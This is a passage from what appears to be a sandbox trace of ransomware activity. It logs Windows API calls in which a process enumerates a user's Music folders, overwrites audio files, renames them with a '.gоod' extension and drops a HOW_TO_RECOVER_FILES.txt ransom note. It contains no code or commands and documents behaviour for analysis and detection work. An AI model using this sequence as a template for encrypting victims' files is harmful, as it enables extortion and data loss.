"c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.648] GetFileType (hFile=0x828) returned 0x1 [0204.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.648] GetFileType (hFile=0x828) returned 0x1 [0204.649] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0204.649] ReadFile (in: hFile=0x828, lpBuffer=0x34afba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x34afba0*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0204.649] CloseHandle (hObject=0x828) returned 1 [0204.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.650] GetFileType (hFile=0x828) returned 0x1 [0204.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.650] GetFileType (hFile=0x828) returned 0x1 [0204.650] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x12fe7 [0204.650] WriteFile (in: hFile=0x828, lpBuffer=0x34b0e00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x34b0e00*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0204.650] CloseHandle (hObject=0x828) returned 1 [0204.650] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.651] GetFileType (hFile=0x828) returned 0x1 [0204.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.651] GetFileType (hFile=0x828) returned 0x1 [0204.651] ReadFile (in: hFile=0x828, lpBuffer=0x34b3088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x34b3088*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0204.875] CloseHandle (hObject=0x828) returned 1 [0204.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.876] GetFileType (hFile=0x828) returned 0x1 [0204.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.876] GetFileType (hFile=0x828) returned 0x1 [0204.876] WriteFile (in: hFile=0x828, lpBuffer=0x33b6ff8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x33b6ff8*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0204.876] CloseHandle (hObject=0x828) returned 1 [0204.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3.gоod", lpFilePart=0x0) returned 0x30 [0204.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0204.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff2d880, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x4f728ba0, ftLastAccessTime.dwHighDateTime=0x1d4c62a, ftLastWriteTime.dwLowDateTime=0x76543960, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12ff7)) returned 1 [0204.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0204.876] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3.gоod")) returned 1 [0204.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0204.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0204.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0204.880] GetFileType (hFile=0x828) returned 0x1 [0204.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0204.880] GetFileType (hFile=0x828) returned 0x1 [0204.881] WriteFile (in: hFile=0x828, lpBuffer=0x34b1130*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34b1130*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0204.882] CloseHandle (hObject=0x828) returned 1 [0204.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0204.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi", lpFilePart=0x0) returned 0x2a [0204.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0204.882] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.882] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D4oZ", cAlternateFileName="")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc805010, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x7a9cd770, ftLastAccessTime.dwHighDateTime=0x1d4ca5f, ftLastWriteTime.dwLowDateTime=0x7a9cd770, ftLastWriteTime.dwHighDateTime=0x1d4ca5f, nFileSizeHigh=0x0, nFileSizeLow=0xc2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="eyS yV.wav", cAlternateFileName="EYSYV~1.WAV")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d9bab0, ftCreationTime.dwHighDateTime=0x1d4c9ca, ftLastAccessTime.dwLowDateTime=0x69d3d790, ftLastAccessTime.dwHighDateTime=0x1d4ca37, ftLastWriteTime.dwLowDateTime=0x69d3d790, ftLastWriteTime.dwHighDateTime=0x1d4ca37, nFileSizeHigh=0x0, nFileSizeLow=0x133da, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwO1yfi-m.wav", cAlternateFileName="HWO1YF~1.WAV")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45240a00, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0xaa7ec780, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0xaa7ec780, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0x121ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaMcCJFbP6.m4a", cAlternateFileName="TAMCCJ~1.M4A")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.883] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0204.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0204.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0204.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0204.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi", lpFilePart=0x0) returned 0x2a [0204.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0204.884] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.884] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07e6cf0, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xea6fc800, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0xea6fc800, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D4oZ", cAlternateFileName="")) returned 1 [0204.884] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc805010, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x7a9cd770, ftLastAccessTime.dwHighDateTime=0x1d4ca5f, ftLastWriteTime.dwLowDateTime=0x7a9cd770, ftLastWriteTime.dwHighDateTime=0x1d4ca5f, nFileSizeHigh=0x0, nFileSizeLow=0xc2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="eyS yV.wav", cAlternateFileName="EYSYV~1.WAV")) returned 1 [0204.884] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d9bab0, ftCreationTime.dwHighDateTime=0x1d4c9ca, ftLastAccessTime.dwLowDateTime=0x69d3d790, ftLastAccessTime.dwHighDateTime=0x1d4ca37, ftLastWriteTime.dwLowDateTime=0x69d3d790, ftLastWriteTime.dwHighDateTime=0x1d4ca37, nFileSizeHigh=0x0, nFileSizeLow=0x133da, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwO1yfi-m.wav", cAlternateFileName="HWO1YF~1.WAV")) returned 1 [0204.885] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45240a00, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0xaa7ec780, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0xaa7ec780, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0x121ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaMcCJFbP6.m4a", cAlternateFileName="TAMCCJ~1.M4A")) returned 1 [0204.885] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45240a00, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0xaa7ec780, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0xaa7ec780, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0x121ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaMcCJFbP6.m4a", cAlternateFileName="TAMCCJ~1.M4A")) returned 0 [0204.885] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0204.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0204.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0204.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0204.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0204.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), fInfoLevelId=0x0, lpFileInformation=0x34c0b38 | out: lpFileInformation=0x34c0b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc805010, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x7a9cd770, ftLastAccessTime.dwHighDateTime=0x1d4ca5f, ftLastWriteTime.dwLowDateTime=0x7a9cd770, ftLastWriteTime.dwHighDateTime=0x1d4ca5f, nFileSizeHigh=0x0, nFileSizeLow=0xc2de)) returned 1 [0204.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0204.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0204.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.886] GetFileType (hFile=0x828) returned 0x1 [0204.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.886] GetFileType (hFile=0x828) returned 0x1 [0204.886] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0204.886] ReadFile (in: hFile=0x828, lpBuffer=0x34c0f00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x34c0f00*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0204.887] CloseHandle (hObject=0x828) returned 1 [0204.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0204.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.887] GetFileType (hFile=0x828) returned 0x1 [0204.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.887] GetFileType (hFile=0x828) returned 0x1 [0204.887] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0xc2de [0204.887] WriteFile (in: hFile=0x828, lpBuffer=0x34c2170*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x34c2170*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0204.888] CloseHandle (hObject=0x828) returned 1 [0204.888] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0204.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.888] GetFileType (hFile=0x828) returned 0x1 [0204.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.888] GetFileType (hFile=0x828) returned 0x1 [0204.888] ReadFile (in: hFile=0x828, lpBuffer=0x34c4408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x34c4408*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0207.503] CloseHandle (hObject=0x828) returned 1 [0207.503] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0207.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0207.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0207.504] GetFileType (hFile=0x828) returned 0x1 [0207.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0207.504] GetFileType (hFile=0x828) returned 0x1 [0207.504] WriteFile (in: hFile=0x828, lpBuffer=0x33d1058*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x33d1058*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0207.504] CloseHandle (hObject=0x828) returned 1 [0207.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav", lpFilePart=0x0) returned 0x36 [0207.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav.gоod", lpFilePart=0x0) returned 0x3b [0207.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0207.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc805010, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x7a9cd770, ftLastAccessTime.dwHighDateTime=0x1d4ca5f, ftLastWriteTime.dwLowDateTime=0x77e4c7b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc2ee)) returned 1 [0207.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0207.504] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\eyS yV.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\eys yv.wav.gоod")) returned 1 [0207.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\hwO1yfi-m.wav", lpFilePart=0x0) returned 0x38 [0207.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0207.506] GetFileAttributesExW (in: 